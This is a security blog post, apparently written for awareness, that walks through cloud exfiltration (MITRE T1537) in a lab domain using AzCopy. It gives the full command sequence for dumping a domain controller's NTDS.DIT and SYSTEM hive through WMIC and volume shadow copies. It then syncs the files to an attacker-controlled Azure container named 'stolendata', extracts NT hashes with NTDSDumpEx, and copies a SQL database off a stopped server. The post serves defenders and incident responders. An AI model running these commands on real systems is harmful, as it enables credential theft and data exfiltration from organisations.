Exfiltrating data by transfering it to the cloud with Azcopy
During the past year, we have seen ransomware gangs using public tools to exfiltrate data by copying it to an array of a Cloud storage provider. In November 2020, SentinelOne discovered, that adversaries were using such techniques to transfer data from a victim’s machine to a Cloud storage provider.
The blog post of SentinelOne can be found here. Where they explained the primary method of data exfiltration, the ransomware gang was using. NCC Group’s Cyber Incident Response Team has shared additional information on as well, which can be found here. They explained about the public tool, the adversaries were using to exfiltrate data, and shared detailed examples on how it works, and so on.
Data Exfiltration consists of techniques that adversaries may use to steal data from your network. One of those techniques is by transferring the stolen data to the Cloud.
Exfiltrating data is one of the last phases in the attacker’s kill chain. The primary of goal of an adversary is often to steal data, and in order to achieve that goal. Different steps are required to get to the critical data in the first place. Once access has been granted to the critical data, that’s when the ”exfiltration” phase starts to happen.
Everything in this blog post is not new, but the goal is to highlight a specific technique (T1537). To make everyone aware of it, and to show how easy it is. We will cover everything in steps and will share different examples on transferring data of a victim’s machine to the Cloud. During this blog post, we will be using an tool from Microsoft that’s called ”AzCopy”, which is a command-line utility, that you can use to copy blobs or files to or from a storage account.
Setup Azure Storage Account
Once we have setup our Azure tenant, we need to create an Azure storage account. An Azure storage account contains all of your Azure Storage data objects: blobs, file shares, queues, tables, and disks. Once we have created our storage account, we need to create a so-called ”container”, which can store a set of blobs. It is similar to a directory in a file system, where we will transfer our data to.
As discussed earlier, we need to create an Azure storage account. In order to do that, we have to do the following:
- Go to the Azure Portal
- Search for “Storage accounts” in the search bar and press enter
- Click on “Create”
Second thing, we have to do is to create a container. All of the data will be transferred to our created container that we manage.
- Click on “Containers” under the Data storage section
- Click on “New container” and give it a nice name
In this example, we have created a container with the name ”stolendata”.
The final part is to grant ourselves the permission to transfer data to our containers.
- Go back to the overview of the storage account
- Click on “Access Control (IAM)”
- Click on “Add”
- Grant ourselves the following two RBAC roles: “Storage Account Contributor” & “Storage Blob Data Owner”
Transferring data from victim’s machine to the Cloud
We discussed earlier that we are going to use AzCopy.exe to exfiltrate data from a victim’s machine to the Cloud. AzCopy is a command-line utility that you can use to copy blobs or files to or from a storage account.
We’ll start with some examples and try to make it realistic as possible. In this made up scenario, we are pretending to be the adversary. We managed to move laterally and ended up in becoming a Domain Admin. The final goal is now to exfiltrate data by using the AzCopy.exe utility.
Exfiltrating the NTDS.DIT file and transfer it to the Cloud
Our first example will be extracting the NTDS.DIT & SYSTEM hive remotely and later on sync the extracted files to the Cloud. Later on, we will download the files to our attacker’s machine and dump the AD database.
- First, we need to use WMIC to execute VSSAdmin in order to create a new volume shadow copy.
wmic /node:'NYK-DC01' /user:'REDMOND\Colby' /password:'Passw0rd!' process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
2. The second step is to extract the NTDS.DIT file from the new volume shadow copy.
wmic /node:'NYK-DC01' /user:'REDMOND\Colby' /password:'Passw0rd!' process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\windows\temp\ntds.dit 2>&1"
3. The third step is to save the SYSTEM hive from the registry.
wmic /node:'NYK-DC01' /user:'REDMOND\Colby' /password:'Passw0rd!' process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\windows\temp\SYSTEM.hive 2>&1"
4. The fourth is to retrieve the NTDS.DIT & SYSTEM hive and make a copy of the files to the C:\Temp folder on the machine we control.
copy \\NYK-DC01\c$\windows\temp\ntds.dit C:\temp copy \\NYK-DC01\c$\windows\temp\system.hive C:\temp
5. Check if the files have been copied to the C:\Temp folder of our controlled machine.
6. The last step is to transfer the NTDS.DIT & SYSTEM hive to the Cloud, so we can later extract all the NT hashes offline. In order to do this, we will be using the AzCopy.exe utility.
First, we need to authenticate against our tenant.
azcopy login --tenant-id 00000000-0000-0000-0000-000000000000
7. Transfer the NTDS.DIT & SYSTEM hive to the Cloud
azcopy sync "C:\Temp" "https://hackety.blob.core.windows.net/stolendata" --recursive
8. When we now open our container that resides in our Azure storage account. We can see that the NTDS.DIT & SYSTEM hive files have been synced to it.
9. Now we can download both files offline to our attacker’s box. In this example, we have a Windows Server 2019 that is our attacker’s box, so no. It’s not a machine connected to the targeted organization.
First, we need to download the files and store them in a folder.
- Go the Azure Portal
- Click on “Storage accounts”
- Click on your storage account
- Click on “Containers” under Data storage
- Click on your created container
- Download both files locally
Once we have done that, we need to recover the NTDS.DIT file.
ESENTUTL /p C:\temp\ntds.dit /!10240 /8 /o
10. The final step is to extract the NT hashes from the NTDS.DIT file. We are going to use NTDSDumpEx to extract the hashes, which can be downloaded here.
This command will extract the NT hashes from the NTDS.DIT file.
NTDSDumpEx.exe -d C:\temp\ntds.dit -s C:\temp\SYSTEM.hive
At the sample result, it will now extract all the hashes from every account in the domain. Since this was my lab environment, you’ll notice that the database is very small.
Exfiltrating Databases from SQL servers
Exfiltrating the Active Directory database doesn’t scare senior management, but what if we would exfiltrate a SQL database that contains customer data for example?
In this example, we have a SQL database that is located on the NYK-SQL server. The database is called AdventureWorksDW2017 – We are going to do the exact same thing, which is copying the SQL database to our controlled machine, and then transfer it to the Cloud with AzCopy.
- The first thing is to disable the MSSQLSERVER service on the SQL server, because otherwise we can’t copy the SQL databases.
sc \\NYK-SQL stop MSSQLSERVER
The service has been successfully disabled.
2. Now we are going to copy the SQL database to our controlled machine and store it in the C:\Temp folder.
copy \\NYK-SQL\F$\data\AdventureWorksDW2017.mdf C:\temp
Here we can see that we have copied the SQL database to our controlled machine.
3. The final step is to use AzCopy to transfer the files to the Cloud.
azcopy login --tenant-id 00000000-0000-0000-0000-000000000000
azcopy copy "C:\Temp\AdventureWorksDW2017.mdf" "https://hackety.blob.core.windows.net/stolendata" --recursive
At the sample result, we can see that the SQL database has been transferred to our Azure tenant.
We have used the AzCopy.exe utility to transfer data from On-Premises systems to the Cloud. We first started with configuring our Azure storage account and created a container, so we could transfer all the data to it.
As an example, we decided to extract remotely the NTDS.DIT & SYSTEM hive from a Domain Controller and copied it to the C:\Temp folder on the machine, we had control over. After the files were on our machine, we started to use AzCopy to transfer NTDS.DIT & SYSTEM hive to our container that resides in our Azure tenant.
To finish it, we went on our own attacker’s box and downloaded both files, so we could later on. Extract all the NT hashes with NTDSDumpExe.
Transferring files from an On-Premises system to a Cloud environment has done before by ransomware gangs, but with other tools. As you perhaps may have notice, transferring files to the Cloud can be done so quickly and it’s not even complicated. I believe we will see more of these similar techniques in the future, which is the reason of this blog post.
As a reminder, this has done before by adversaries. AzCopy was just one example of the different variations that’s out there.
NOTE: Incident Responders should not overlook any tools that have the capabilities to synchronize files from a local machine to a Cloud environment.
- Get started with AzCopy: https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-v10
- Introduction to Azure Blob Storage: https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction
- How Attackers Dump Active Directory Database Credentials: https://adsecurity.org/?p=2398
- NTDSDumpExe: https://github.com/zcgonvh/NTDSDumpEx/releases